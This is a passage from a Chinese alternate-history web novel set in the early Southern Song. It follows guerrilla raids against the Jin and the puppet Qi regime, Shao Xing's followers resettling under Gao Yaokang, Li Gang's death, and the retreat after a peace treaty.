正月二十五。又端了一个据点。
二月初三。又烧了一批粮草。
金兵疯了。
派了两千人进山搜剿。搜了半个月。连人影都没找到。雪地里全是脚印,追着追着就没了,跟见了鬼似的。
王彦和邵兴带着人,在山里钻来钻去。哪儿有洞钻哪儿,哪儿有沟走哪儿。金兵来了,他们就跑。金兵走了,他们就出来。跟捉迷藏似的。
金兵的将领气得骂娘,摔了三回杯子。
第一百一十九章 宗泽之望
二月初十。京兆府。金兵大营。
主将完颜杲坐在帐中。脸黑得像锅底,黑得能刮下二两灰来。案上的茶已经凉了,他端起来喝了一口,又吐了。
“那个邵兴,还有那个王彦,到底藏在哪儿?你们找了半个月了,连个人影都没摸着?”
底下没人说话。几个副将低着头,跟犯了错的小学生似的。有人盯着脚尖,有人看着地面,有人假装在看地图。
完颜杲拍桌子。啪的一声,茶碗都跳起来了。
“粮道断了三回了!据点丢了五个!死了八百多人!你们跟我说不知道?八百多人啊!不是八百只鸡!”
还是没人说话。帐子里静得能听见外头的风声。
完颜杲站起来。走来走去。靴子踩在地上,咚咚响。
“传令。把北边的兵调回来。南边的据点,先放一放。集中兵力,把山里那帮人剿了。挖地三尺也要找出来!”
副将抬起头。脸上带着为难。
“将军,北边的兵调回来,关中就空了……万一宋军从那边过来……”
完颜杲说:“空了也得调!不把那帮人杀了,咱们连饭都吃不上!你让兄弟们饿着肚子打仗?”
副将张了张嘴。想说什么。又闭上了。咽了口唾沫。
“是。”
二月十五。襄阳。王善收到了信。
高尧康的信。还有王彦的信。两封信是同一天到的,送信的人跑死了两匹马。
他看完。抬起头。脸上带着笑,笑得跟狐狸似的。
旁边的人问:“将军,怎么说?”
王善站起来。走到地图前头。手指头在图上划来划去。
“高宣抚让咱们动一动。”
他指着图上。手指头点在上头。
“邓州。伪齐的城。离咱们三百里。不大不小,守将姓刘,是个草包。”
他转过身。眼睛亮亮的。
“传令。点三千人。往邓州方向走。别打。就摆出要打的架势。旗子多打几面,锅灶多搭几个,让他们以为来了好几万人。”
旁边的人愣住了。嘴张着。
“不打?那去干嘛?大老远跑过去,就为了摆架势?”
王善笑了。笑得挺坏的。
“吓唬人。吓唬住了,比打赢了还管用。”
二月二十。邓州。
守将姓刘。伪齐的官,四十来岁,胖,胆小如鼠。站在城墙上,看着南边。手扶着垛口,手心全是汗。
南边的地平线上,有一条黑线。很长。越来越近。旗子飘着,上面写着“宋”字。
探马跑过来。跑得气喘吁吁,脸都白了。
“将军!不好了!宋军!好几万人!往这边来了!黑压压一片,看不到头!”
刘将军的脸白了。白得跟纸似的。腿一软,差点坐地上。
“快!快报京兆府!快报汴京!快!快!”
那天夜里,邓州城一夜没睡。
兵们上了墙,哆哆嗦嗦的。老百姓关了门,躲在屋里不敢出声。刘将军在府衙里走来走去,走来走去,靴子都磨破了。一晚上问了八遍“宋军打进来了吗”。
但宋军没攻城。
就在三十里外扎了营。天天练兵,喊声震天。天天派小股人出来晃,旗子飘着,号角吹着。就是不攻城。
刘将军更怕了。不知道对方要干嘛,比知道要干嘛还吓人。
二月二十五。京兆府。完颜杲收到了两份急报。
一份是南边的。说邓州被围了。好几万宋军,情况紧急,请求援兵。信纸上还有汗渍,字迹潦草。
一份是西边的。说粮道又断了。运粮队被打劫了,二百车粮食全没了。押粮的官跑了,连鞋都没穿就跑。
他看着那两份急报。看了很久。太阳穴上的青筋直跳。
然后他把两份都撕了。撕得粉碎,往地上一扔。
“传令。北边的兵,不调了。西边那帮人,先不管了。往南边去。先把邓州解了。”
副将说:“将军,那西边……”
完颜杲说:“西边那帮人,在山里,抓不着。跟泥鳅似的。南边的宋军,在城外,看得见。先打看得见的。”
二月底。京兆府路。山里。
王彦和邵兴蹲在一棵大树底下。树很大,几个人合抱不过来。雪已经化了,地上全是泥,靴子陷进去,拔出来费劲。
王彦手里拿着一封刚收到的信。信纸有点潮,字迹还清楚。
信是高尧康写的。不长。
“王善已动。金兵注意力转移。你部可趁机扩大战果。但勿贪功。打完就跑。切记,活着最重要。”
王彦把信折起来。收进怀里。贴着心口。
邵兴看着他。嘴里叼着根草。
“怎么说?”
王彦说:“继续打。趁他们乱了,多打几仗。”
邵兴笑了。把草吐了。
“好。这回打哪儿?”
三月初三。京兆府路。又一场伏击。
这次是金兵的一支辎重队。五百多人。二百多车。车上装着粮食、兵器、布匹,还有几车药材。车队拉得很长,从前头看不到后头。
王彦和邵兴带着三千人,在山谷里等着。等了一天一夜。趴在山坡上,冻得跟冰棍似的。没人吭声,没人动。
金兵来了。慢悠悠的,跟逛街似的。押粮的官骑着马,哼着小曲儿,以为这条路安全了。
打了一个时辰。全歼。一个都没跑掉。
辎重全留下。粮食。兵器。布匹。药材。堆得跟小山似的。
邵兴站在那些东西前头,眼睛发光。跟看见金山似的。
“王将军,这些东西,够咱们吃半年。半年啊。”
王彦说:“搬。快搬。天黑之前搬完。”
三月初五。山里。邵兴的寨子。
王彦和邵兴坐在帐中。喝酒。酒是缴获的,金兵的酒,烈得很,一口下去跟刀子似的。
邵兴说:“王将军,这一个月,咱们打了七仗。杀了多少金兵?”
王彦说:“一千多吧。没仔细数。”
邵兴说:“据点端了几个?”
王彦说:“六个。还有两个小的,打了一半他们跑了。”
邵兴说:“粮草烧了多少?”
王彦说:“没数。够他们心疼一阵子的。”
邵兴笑了。笑得满脸褶子。
他端起碗。
“王将军,敬你。你是条汉子。”
王彦端起碗。喝了。辣得直咧嘴。
邵兴放下碗。看着他。脸上的笑慢慢收起来。
“王将军,我有个事想问你。”
王彦说:“你说。别吞吞吐吐的。”
邵兴说:“高宣抚那边,还收人不?”
王彦愣了一下。筷子停在半空。
“什么意思?”
邵兴说:“我这些人。三千多能打的。两千多老小。我想把他们带到蜀地去。不在这儿待了。”
王彦看着他。放下筷子。
“你舍得这地方?你在这儿打了三年。”
邵兴说:“舍得。这地方待不下去了。金兵越来越多,咱们人越来越少。再待下去,迟早被他们围死。围在山沟里,跑都跑不掉。”
他看着王彦。眼睛里有东西在闪。
“高宣抚那边,有粮。有药。有兵器。有人。我去了,能活。我的人,也能活。在这儿,早晚是个死。”
王彦沉默了一会儿。端起碗,又喝了一口。
“这事我做不了主。得问高宣抚。他点头才行。”
邵兴说:“那就问。派人去问。我等着。”
三月初十。大散关。高尧康收到了王彦的信。
他看完。抬起头。
杨蓁不在。回了重庆府,说是后方有事要处理。张浚站在旁边。手里拿着本书,没看,等着。
张浚说:“怎么说?”
高尧康说:“邵兴想带着人过来。全部过来。”
张浚愣了一下。书差点掉地上。
“全部?多少人?”
高尧康说:“三千多兵。两千多家属。五千多口人。”
张浚说:“你打算怎么办?收还是不收?”
高尧康站起来。走到地图前头。
看着京兆府那块地方。图上标着山、河、路、关。邵兴的寨子在南边,离大散关几百里。
“邵兴在山里待了三年。还能活着,还能打,说明他有本事。没本事的人,早死三回了。他的人,也顶用。能打的。”
他转过身。
“让他们来。派人去接。”
张浚说:“那京兆府那边……”
高尧康说:“让王彦留下。带着他的人。继续打。邵兴的人过来,整编之后,再派回去。换防。”
他看着张浚。
“那边不能空。得一直有人盯着。空了,金兵就缓过来了。”
三月十五。山里。邵兴的寨子。
王彦收到了高尧康的回信。信是快马送来的,跑了两天两夜。
他看完。抬起头。看着邵兴。脸上带着笑。
“高宣抚说了。让你去。全部去。”
邵兴愣住了。嘴张着,半天没合上。
“真的?全去?”
王彦说:“真的。三千多兵,两千多家属,全去。到了那边,有人接。有粮。有药。有地方住。联号的人已经准备好了。”
邵兴站在那儿。一动不动。跟被人点了穴似的。
眼睛红了。红得厉害。
他忽然跪下去。朝着大散关的方向。膝盖砸在地上,咚的一声。
磕了三个头。额头碰在地上,沾了泥。
王彦把他扶起来。胳膊使劲,把他拽起来。
“邵将军,以后,咱们是一家人了。别动不动就跪。”
邵兴站起来。看着他。眼眶红红的。
“王将军,你不回去?”
王彦说:“我不回。我带着人,继续在这边打。高宣抚说了,这边不能空。”
邵兴说:“那你小心。完颜杲那狗日的,心狠手辣。”
王彦笑了。
“死不了。我命硬。”
三月十八。邵兴带着人,往南走了。
五千多人。浩浩荡荡。老的,小的,男的,女的。赶着车,挑着担,牵着孩子。车轱辘吱呀吱呀响,孩子哭哭啼啼的。
王彦送到山口。站在一块大石头上。
邵兴回头。看着他。
“王将军,保重。”
王彦说:“保重。到了那边,好好养着。养好了,再回来打。”
邵兴走了。带着人,消失在林子里。人影越来越小,最后变成几个黑点,没了。
王彦站在那儿。看着那些人消失的方向。看了很久。风吹着他的衣裳,猎猎作响。
然后他转过身。
身后,还有三千人。他的人。站在那儿,等着他。枪戳在地上,排得整整齐齐。
他看着那些人。
“走。接着打。他们走了,咱们还在。”
三月二十五。大散关。高尧康站在关墙上。
远处,有一队人正在靠近。很长。很慢。从山脚下一直延伸到看不见的地方。跟一条长蛇似的,在山路上蜿蜒。
前头是兵。扛着枪,背着包,走得歪歪斜斜的。后头是老人,孩子,女人。赶着车,挑着担,牵着牛。有人推着独轮车,车上坐着孩子。有人背着包袱,包袱比人还大。
邵兴来了。
高尧康走下关墙。迎上去。靴子踩在石头上,咔咔响。
邵兴看见他。跑过来。跑得很快,带起一阵风。
跑到跟前。跪下。膝盖砸在地上。
“高宣抚——”
高尧康把他扶起来。胳膊一使劲,把他拽起来。
看着他。
三十多岁。黑,瘦,眼睛很亮。脸上全是风霜的痕迹,跟刀刻的似的。胡子拉碴的,头发也长了,乱糟糟的。衣裳破了好几处,打着补丁。
高尧康说:“邵将军,辛苦了。”
邵兴的眼眶红了。红得跟兔子似的。
“不辛苦。能见到高宣抚,不辛苦。”
高尧康点点头。拍了拍他肩膀。手很重。
他转过身,看着那些人。
五千多人。站在那儿。看着他。密密麻麻的,站了一地。
有的人在哭。有的人在笑。有的人愣愣的,不知道在想什么。有个老太太坐在地上,捶着腿,说终于到了。有个孩子趴在娘背上,睡着了。
高尧康说:“从今天起,这儿就是你们的家。”
没人说话。
但有人跪下了。一个老头,头发全白了,颤颤巍巍地跪下去。
第二个。第三个。一片。跟风吹麦浪似的,一排一排往下跪。
高尧康走过去。一个一个扶起来。
扶到最后一个,是个孩子。七八岁。瘦得皮包骨,胳膊跟柴火棍似的。眼睛很大,亮晶晶的。
他看着高尧康。仰着头。
“伯伯,以后有饭吃吗?”
高尧康说:“有。”
孩子笑了。
笑得很好看。眼睛弯弯的,露出两颗缺了的牙。
那天晚上。大散关。帐中。
邵兴坐在高尧康对面。洗了澡,换了衣裳,看着精神多了。但脸上那些风霜的痕迹,洗不掉。
高尧康说:“京兆府那边,还有什么人?除了你。”
邵兴说:“有。好几股。大的几千人,小的几百人。都在山里藏着。散着呢。”
他顿了顿。手指头在桌上画着。
“但他们不服彼此。你打我,我打你。有的还互相杀。为了一口粮,为了一块地盘,能打出狗脑子来。”
高尧康说:“为什么?”
邵兴说:“没人管。没人出头。都想当老大。谁也不服谁。”
他看着高尧康。
“高宣抚,你要是能管管,那边就能拧成一股绳。都是打金兵的,自己人先打起来,像什么话。”
高尧康沉默了一会儿。灯芯噼啪响了一声。
然后他说:“你觉得,谁能管?”
邵兴说:“你。”
高尧康没说话。
邵兴说:“你派王将军去了。他打了几仗,那些人就听说了。你收了我,那些人也会听说。听说多了,就知道该跟谁。”
他看着高尧康。
“就差一个头。一个能让所有人都认的头。有了这个头,那边就活了。”
高尧康站起来。走到帐门口。
掀开帘子。外头,月亮很亮。照在关墙上,照在帐篷上,照在那些新来的人的窝棚上。有人在生火做饭,烟升起来,白白的。
他忽然想起宗泽。想起他说的那句话。在汴京,在破城之前,那个老人拉着他的手。
“你当为汴京,留下一颗不灭的火种。”
他站了一会儿。
然后他转过身。
“邵兴。”
邵兴站起来。
“在。”
高尧康说:“你的人,先安顿下来。养好了,练好了,再回去。养精蓄锐。”
邵兴说:“是。”
高尧康说:“回去的时候,带着我的旗。带着我的信。去找那些人。”
他看着邵兴。眼睛很亮。
“告诉他们,愿意跟我的,来。不愿意的,不勉强。但有一条——别内斗。别打自己人。谁打自己人,我打谁。”
邵兴抱拳。抱得很紧。
“是。末将明白。”
四月初一。大散关。关墙上。
高尧康站着。看着北边。风挺大,吹得他衣裳呼呼响。
张浚走过来。站在他旁边。
“邵兴那边安顿好了。发了粮,分了帐篷,找了大夫给他们看病。有几个伤兵,林娘子在治。”
高尧康说:“嗯。”
张浚说:“王彦那边,又有信来。又打了胜仗。端了个据点,缴了一批兵器。”
高尧康说:“嗯。”
张浚看着他。看了一会儿。
“你想什么呢?站半天了。”
高尧康说:“想一个人。”
张浚说:“谁?”
高尧康说:“宗泽。”
他看着北边。天灰蒙蒙的,山峦叠嶂。
“他要是还活着,看到这些,会高兴的。他没做完的事,有人在接着做。”
第一百二十章 游击战术
建炎三年四月初八。大散关。高尧康帐中。
邵兴站在地图前头。一个月休整,人胖了一圈,脸上有肉了,眼睛更亮了,跟两颗星星似的。衣裳也换了新的,站在那儿,腰挺得直直的,跟换了个人似的。
“高宣抚,我准备好了。弟兄们也准备好了,天天问我什么时候走。”
高尧康看着他。
“回去之后,打算怎么打?”
邵兴指着图上。手指头点在上头,咚咚响。
“从京兆府路往东。走商州。过虢州。直插河南府。一路打过去,一路收人。”
他的手指点在“洛阳”两个字上。点得纸都皱了。
“这儿。伪齐的西京。金兵在河南的老巢。刘豫的命根子。”
高尧康没说话。等着。
邵兴说:“我不打洛阳。我绕着走。打它周围的县城。断它的粮道。烧它的辎重。让它变成一座孤城。城里的兵出不来,城外的粮进不去。饿也饿死他们。”
高尧康点点头。手指头在桌上敲了敲。
“王彦跟你一起走。”
邵兴愣了一下。
“王将军不留下?他不是一直在这边打吗?”
高尧康说:“他带着他的人。你带着你的人。两股绳,拧成一股。一个打前头,一个断后头,谁也离不了谁。”
他看着邵兴。
“王彦打过大仗。土门关。汴京巷战。他比你熟悉火器。震天雷怎么扔,神机铳怎么放,他教你们。你们山里出来的,野路子厉害,但火器这东西,得有人带。”
邵兴抱拳。抱得很紧。
“是。我跟着王将军学。”
高尧康从桌上拿起一个包袱。挺沉,他单手递过去。
“打开看看。”
邵兴接过来。打开。
里头是二十个震天雷。圆滚滚的,铁壳子,擦得锃亮。五把神机铳,枪管乌黑发亮。还有一盒定装火药,码得整整齐齐。
他抬起头。眼睛亮了,亮得跟灯泡似的。
“高宣抚,这……这都是给我们的?”
高尧康说:“带过去。给弟兄们试试。好用,以后再送。多的是。”
邵兴捧着那个包袱。手有点抖。翻来覆去地看那些东西,跟看宝贝似的。
“高宣抚,我邵兴这条命,以后是你的。你让我往东,我绝不往西。你让我打狗,我绝不撵鸡。”
高尧康说:“我不要你的命。我要你把河南府搅个天翻地覆。搅得刘豫睡不着觉,吃不下饭,坐不稳椅子。”
四月十八。商州。第一次配合。
王彦和邵兴带着三千人,夜里摸到城外。月亮被云遮了,黑得伸手不见五指。三千人跟鬼似的,一点声没有。
城不大。五百多个伪齐兵守着,都是本地招募的,没打过仗。城墙矮矮的,门也旧了。
王彦趴在地上,看着那座城。嘴里叼着根草。
邵兴趴在他旁边。压着嗓子。
“怎么打?”
王彦说:“先用震天雷。炸城门。省事。”
他打了个手势。手指头动了动。
二十个人摸上去。弯着腰,跟猫似的。每人怀里揣着两个震天雷。摸到城门口。点着引信。嗤嗤冒烟。扔。
轰轰轰轰轰——
城门炸开了。木头碴子乱飞。烟尘扬起来,什么都看不见。
火铳营冲进去。脚步咚咚咚的。
砰砰砰砰砰——
伪齐的兵还在睡觉。有的没醒就死了。有的醒了,刀还没摸到,就倒了。有人在喊,有人在跑,有人光着脚往外跑。
打了一个时辰。城拿下了。
伪齐兵死了三百多。剩下的投降了,蹲在地上,抱着头,哆嗦。
王彦站在城门口,看着那些俘虏。嘴里还叼着那根草。
邵兴走过来。脸上全是灰,但笑着。
“这就拿下了?跟切豆腐似的。”
王彦说:“震天雷好用吧?”
邵兴说:“好用。太好用了。一个顶一百个。”
王彦说:“那接着用。省着点,别一口气全扔了。”
四月二十五。虢州。第二次。
这次是伏击。金兵的一队运粮的。八百多人。二百多车。车上装得满满当当的,粮食、草料、还有几车酒。
王彦和邵兴带着人,在山谷里等着。等了一天。趴在山坡上,一动不动。
金兵来了。慢悠悠的,跟逛大街似的。押粮的官骑着马,哼着小曲儿,喝着酒,以为这条路安全了。
震天雷先扔。从山坡上扔下去,咕噜咕噜滚下去。炸了。轰轰轰的,在山谷里来回响。
金兵乱了。马惊了,到处乱跑。车翻了,粮食洒了一地。
火铳营再放。砰砰砰的,从两边山坡上往下打。金兵跑都没处跑。
最后冲下去。砍。刀都砍卷了。
打了一个时辰。全歼。一个都没跑掉。
粮车全留下。二百多车,堆得跟小山似的。
附近的山民跑来看。站在远处,缩着脖子,指指点点。看见那些粮食,眼睛发光,跟狼似的。
邵兴站在车上,朝他们喊。嗓子都喊哑了。
“愿意跟着干的,来!有粮吃!有仗打!高宣抚的人,不抢老百姓!不打自己人!”
当天下午,来了三百多人。有拿锄头的,有拿木棍的,有拿菜刀的。还有个老头,拿了个烧火棍。
五月初三。河南府。永宁县。
王彦和邵兴带着人,围了三天。城外扎了一圈帐篷,旗子插得到处都是。城里的人看着就害怕。
城里的伪齐兵不敢出来。城外的援兵不敢过来。谁都不想当出头鸟。
第三天夜里,城门开了。吱呀一声,慢慢推开。
守将投降了。穿着白衣裳,举着白旗子,带着几个亲兵,哆哆嗦嗦地走出来。
王彦进城的时候,看见街上站着几百个人。穿着破烂的衣裳,拿着锄头、木棍。眼睛都亮着,跟夜里头的猫似的。
一个老头走过来。头发全白了,腰都直不起来。跪在他面前。膝盖砸在石头上,咚的一声。
“将军,你们是宋军吗?”
王彦把他扶起来。胳膊一使劲。
“是。正牌的。”
老头哭了。眼泪顺着脸上的褶子往下淌。
“可算来了……可算来了……我们等了好几年了……”
五月初十。河南府。消息传开了。
跟长了翅膀似的,到处飞。
“从西边来了一股宋军。能打。有火器。见一个打一个,打一个赢一个。领头的是王彦和邵兴,高宣抚的人。”
附近山里的义军,开始往这边跑。翻山越岭的,拖家带口的。
有的几百人。有的几十人。有的一个人,背着一把破刀。
跑来就跪。跪了就喊。
“王将军!收下我吧!”
“邵将军!我跟着你干!你去哪儿我去哪儿!”
王彦和邵兴站在营门口,看着那些人。排着队来的,跟赶集似的。
半个月,收了三千多人。
加上原来的,快一万人了。营帐都搭不下了,往外扩了好几圈。
邵兴站在高处,看着那些新来的人。眼睛亮亮的。
“人够了。接着打?”
王彦说:“接着打。打到他们怕为止。”
五月十八。许州附近。王善动了。
他收到高尧康的信。信就一句话。字写得挺大,跟喊似的。
“往北打。越大动静越好。”
王善把信折起来。揣进怀里。拍了拍。
看着底下的人。咧嘴笑了。
“点兵。五千人。往许州走。带上旗子,带上鼓,带上号角。动静越大越好。”
底下的人愣住了。
“将军,许州是伪齐的……城挺大,人挺多……”
王善说:“我知道。”
他站起来。把刀别在腰上。
“不打城。打他们的粮道。烧他们的辎重。让他们睡不着觉。打完了就跑,跑完了再打。跟放鞭炮似的,响一下就跑。”
五月二十。许州。粮道断了。
五月二十五。又断了一次。
六月初三。第三次。
伪齐的兵疯了。到处追,到处堵。追不上,堵不住。宋军跟鬼似的,打完就没了影。
运粮的兵不敢走了。走一趟死一趟。给多少钱都不走。
六月初十。汴京。伪齐皇宫。
刘豫坐在御座上。脸黑得像锅盖,黑得能滴下墨来。御座上的垫子都被他坐得皱巴巴的。
底下跪着一排人。全是各地来的急报。纸堆了一地。
“京兆府路告急。商州丢了。虢州丢了。永宁丢了。守将跑了两个,降了一个。”
“河南府告急。粮道断了七回。守将不敢出门。兵都不敢出城。”
“许州告急。宋军到处打。运粮的死了两千多人。粮食运不过去,城里快断粮了。”
刘豫把那些急报摔在地上。摔得哗啦响。
“废物!一群废物!八万兵!八万兵守不住几条粮道?”
没人敢说话。有人趴在地上,有人低着头,有人闭着眼。
刘豫站起来。走来走去。靴子踩在地上,咚咚响。袍子下摆扫来扫去。
“调兵。把南边的兵调回来。不打宋朝了。先打那帮山贼。那帮泥腿子!”
底下的人抬起头。脸上带着为难。
“陛下,南边的兵调回来,和宋朝的仗……”
刘豫说:“不打了。先把家里收拾干净。收拾不干净,打什么打?”
六月十五。大散关。高尧康收到了消息。
信是王善写的,快马送来的。信纸上还有汗渍。
“刘豫把南边的兵调回去了。许州周围的兵少了一半。”
张浚站在旁边。手里拿着本书,没看。
“好机会。他南边一空,咱们就能往前推。”
高尧康说:“对。好机会。他自己把门打开了。”
他看着北边。窗外天很蓝。
“王彦和邵兴在河南府。王善在许州。两边加起来,快两万人了。都是能打的。”
张浚说:“要不要让他们再往前推一推?趁他病,要他命。”
高尧康想了想。手指头在桌上敲了敲。
“不急。让他们稳住。先占地盘。收人。收粮。把脚跟站稳了再往前挪。别贪心,贪心容易出事。”
他转过身。
“派人去告诉他们。别急着打大仗。就耗。耗到金兵受不了。耗到伪齐自己乱。打仗不光是拼命,也是比谁有耐心。”
第一百二十一章 又议和了
建炎三年六月二十。临安。行在。
朝堂上吵翻了天。跟菜市场似的,你一句我一句,唾沫星子乱飞。主和的喊“民生疾苦”,主战的喊“祖宗疆土”,谁也不让谁。
秦桧站在御阶下头。瘦,白,眼睛细长,跟狐狸似的。说话的时候,声音不大,但每个人都能听见。他不用喊,自然就有人竖着耳朵听。
“陛下,金人愿和。这是天赐良机。战事连绵,民不聊生。打了三年了,国库空了,老百姓也累了。和了,百姓就能喘口气。将士们也能歇歇。”
李纲站在另一边。瘦得更厉害了。脸上的肉都凹进去,颧骨突出来,跟骷髅架子似的。但眼睛还是那么亮,亮得跟火似的。
“和?拿什么和?割地?赔款?称臣?”
他看着秦桧。眼睛像刀子。
“金人今天要你割地,你割了。明天要你赔款,你赔了。后天要你称臣,你称了。再后天呢?他们要你的命,你给不给?”
秦桧没说话。脸上挂着笑,跟戴了面具似的。
李纲往前走了一步。步子有点晃,他已经好几天没睡好了。
“陛下,不能和。和了,就再也站不起来了。祖宗留下的江山,一寸都不能丢。今天丢一寸,明天丢一尺,后天就没东西可丢了。”
赵构坐在御座上。脸上没什么表情。手指头在扶手上一下一下地敲。他看看李纲。看看秦桧。李纲瘦得脱了相,秦桧白白净净的。一个像枯树,一个像新枝。
然后他开口。声音不大,但朝堂上每个人都听得清清楚楚。
“李纲,你老了。”
李纲愣住了。整个人僵在那儿,跟被人点了穴似的。
赵构说:“战了三年。死了多少人?花了多少钱?收回了多少地?”
他看着李纲。
“没有。一寸都没有。”
李纲张了张嘴。说不出话。嘴唇哆嗦着,嗓子眼里像堵了东西。
赵构说:“金人愿和。朕意已决。不必再议。”
他站起来。走了。龙袍的下摆扫过御阶,消失在屏风后面。
李纲站在那儿。看着那个背影。手扶着柱子,指节发白。站了很久。
六月二十五。临安。李纲府上。
他躺在床上。已经起不起来了。被子盖在身上,跟盖在一把柴火上似的。
床边围着人。儿子。门生。部下。都在哭。有人跪在地上,有人抹眼泪,有人低着头不说话。
李纲睁开眼睛。眼珠子转了转,浑浊了,但还有光。
“哭什么?”
没人说话。
李纲说:“我死了,你们接着干。别停。谁停了,我半夜来找他。”
他喘了几口气。胸口起伏着。
看着窗外。
窗外,天灰蒙蒙的。要下雨了。乌云压得很低。
他忽然想起一个人。
高尧康。
他想起那年。汴京。那个站在雪地里,等着给他送礼的年轻人。冻得脸通红,但腰挺得笔直。那碗热汤。那两本册子。那句“请李公携此火种,照亮别处黑暗”。
他笑了一下。笑得很轻。
“这个愣头青。”
然后他闭上眼睛。
“告诉高尧康……老夫……尽力了……剩下的……看他的了……”
六月底。李纲病逝的消息,传到临安。传到各地。也传到了大散关。
高尧康接到消息的时候,正在看地图。地图上标着红蓝箭头,红的是自己的,蓝的是金兵的。箭头密密麻麻的。
陈东跑进来。跑得太急,差点在帐门口绊一跤。脸色发白,白得跟纸似的。
“高宣抚……李公……李公没了……”
高尧康愣住了。手里的炭笔掉在桌上,咕噜噜滚到地上。
他看着陈东。没说话。嘴张着,没合上。
陈东说:“临安来的信。说是病逝了。六月二十五走的,走的时候挺安详。”
高尧康接过信。看了一遍。又看了一遍。张叔夜的笔迹,力透纸背,纸都压出印了。
然后他把信放下。动作很轻,跟怕弄疼什么东西似的。
站起来。走到帐门口。掀开帘子。
外头,太阳很好。照在那些帐篷上。照在那些兵身上。有人在生火做饭,烟升起来,白白的。有人在练刀,喊声远远传来。
他站在那儿。一动不动。风吹着他的衣裳,猎猎作响。
站了很久。
然后他忽然跪下去。膝盖砸在地上,咚的一声。
朝着临安的方向。
磕了三个头。额头碰在地上,沾了土。
站起来。
“传令。全军缟素。祭李公。他是条汉子。”
七月初五。大散关。全军戴孝。
白布条绑在胳膊上,绑在枪杆上,绑在旗子上。风一吹,白花花一片。
高尧康站在关墙上。对着北方。不是临安的方向。是开封的方向。风吹着他的白布条,飘起来。
张浚走过来。站在他旁边。胳膊上也绑着白布。
“李公走了。”
高尧康说:“嗯。”
张浚说:“朝廷那边,和议快了。秦桧在推,赵构点头了。”
高尧康说:“嗯。”
张浚说:“你打算怎么办?”
高尧康没说话。
他看着北方。看了很久。山峦叠嶂,看不到头。
然后他说:“让人撤回来。”
张浚愣了一下。手里的东西差点掉地上。
“撤?王彦他们还在河南府。王善还在许州。打得正顺呢。”
高尧康说:“让他们撤。带着人。带着愿意跟来的人。带着能带的东西。全撤回来。”
他看着张浚。眼睛很亮。
“朝廷要议和。咱们在前头打,他们在后头和。打下来的地,守不住。金兵一翻脸,又拿回去了。打出来的人,不能白死。人死了就没了。”
张浚沉默了一会儿。
然后他说:“撤回来之后呢?”
高尧康说:“活着。等着。等机会。”
七月初八。河南府。王彦接到了信。
他看完。递给邵兴。脸上没什么表情。
邵兴看了一遍。又看了一遍。眉头拧在一起。
抬起头。眼睛瞪得跟铜铃似的。
“撤?”
王彦说:“撤。”
邵兴说:“咱们打了三个月。死了一千多人。收了一万多人。打下了四个县城。现在撤?”
王彦说:“高宣抚让撤。”
邵兴不说话了。嘴抿着,抿得发白。拳头攥着,指节嘎巴响。
王彦看着他。
“邵将军,你不愿意?”
邵兴沉默了很久。帐子里很静,只听见外头的风声。
然后他说:“我愿意。”
他看着那些帐篷。那些兵。那些刚来的义军。有人在操练,有人在修工事,有人在生火做饭。
“高宣抚救过我的命。救过我的人的命。要不是他,我还在山里啃树皮。他说撤,我就撤。刀山火海,跟着走。”
七月初十。许州。王善也接到了信。
他看完。骂了一句。声音很大,外头的人都听见了。
“他麻的。朝廷那帮王八蛋。”
底下的人问:“将军,怎么了?”
王善说:“撤。”
那人愣住了。嘴张着。
“撤?咱们打了两个月,好不容易把许州围了。刘豫的兵缩在城里不敢出来,再打几天就撑不住了。”
王善说:“高宣抚让撤。朝廷要议和。咱们在前头打,他们在后头和。打下去没意思。打下来的地,朝廷一句话就送回去了。”
他把信揣进怀里。拍了拍。
“传令。收拾东西。带上愿意跟咱们走的。往南撤。走得动的走,走不动的抬。一个都不能丢。”
七月十五。京兆府路。王彦和邵兴带着人,开始撤。
一万人。加上家属,快两万了。浩浩荡荡,往南走。队伍拉了好几里长,前头看不到后头。
后头,金兵追上来。马蹄声隆隆的,地都在震。
王彦留下三千人,打了一仗。打完了,继续走。三千人回来两千二。
金兵又追上来。
邵兴留下两千人,又打了一仗。打完了,继续走。两千人回来一千三。
追了三天。追不上。金兵的马也累了,人也累了。看着南边的烟尘,骂了几句,回去了。
七月二十。大散关。王彦回来了。
高尧康在关门口等着。站着,一动不动。
王彦下了马。走到他面前。腿有点软,站不太稳。
浑身是泥。脸上全是黑,跟从煤窑里爬出来似的。眼睛红着,布满血丝。嘴唇干裂,起了皮。
“带回来多少人?”
王彦说:“一万三千多。加上家属,快两万了。一个都没丢。”
高尧康点点头。
“王善呢?”
王彦说:“还没到。在路上。他那边远,得多走几天。”
高尧康说:“等着。”
七月二十五。王善也到了。
两万人。加上之前回来的,快四万了。大散关外头,扎满了帐篷。密密麻麻的,跟蘑菇似的。从关墙上往下看,白花花一片。
高尧康站在关墙上,看着那些人。有人在生火,有人在打水,有人在哄孩子。孩子的哭声远远传来。
张浚走过来。
“四万人。怎么安置?关里住不下。”
高尧康说:“往蜀地送。夔州。重庆府。成都府。能安置多少安置多少。分散开,别扎堆。扎堆容易出事。”
张浚说:“粮呢?四万人吃饭,一天得多少?”
高尧康说:“苏檀儿那边有。联号那边有。够吃。她早就准备好了。”
张浚看着他。看了几秒。
“你早就准备好了?早就算到要撤?”
高尧康没说话。
他看着那些人。风吹着他的衣裳。
“人最重要。地可以再打。城可以再占。人没了,什么都没了。有人就有地。没人,有地也守不住。”
八月初一。临安。和议成了。
宋金议和。金人撤兵。宋人赔款。称臣。每年送银子、送绢、送茶叶。金人册封赵构为宋帝。宋国是金国的臣属。
消息传到大散关的时候,高尧康正在吃饭。一碗米饭,一盘咸菜,一碗汤。
他放下筷子。听完。脸上没什么表情。
然后他端起碗,继续吃。扒了两口饭,夹了一筷子咸菜。
杨蓁在旁边。肚子已经挺大了,坐在那儿,手放在肚子上。
“你没什么说的?”
高尧康说:“没有。”
杨蓁看着他。
高尧康说:“早就知道的事。早晚的事。”
他吃完。站起来。往外走。
走到门口,忽然停住。手扶着门框。
“杨蓁。”
杨蓁看着他。
高尧康说:“等孩子生下来,我教他打仗。不管是男是女,都得会打仗。”
杨蓁愣了一下。
然后她笑了。笑得眼睛弯弯的。
“行。我教他认字,你教他打仗。他要不学呢?”
高尧康说:“那就揍。揍到学为止。”
八月初五。大散关。关墙上。
高尧康站着。看着北边。
金兵正在撤。一队一队,往北走。旗子耷拉着,兵们垂头丧气的。马车轱辘吱呀吱呀响。
张浚走过来。站在他旁边。也看着。
“走了。”
高尧康说:“嗯。”
张浚说:“还会回来的。歇够了就来。”
高尧康说:“我知道。金人不会消停,刘豫也不会消停。”
他看着那些越来越远的背影。越来越小,最后变成几个黑点。
“但下次,不一样。”
张浚看着他。
“哪里不一样?”
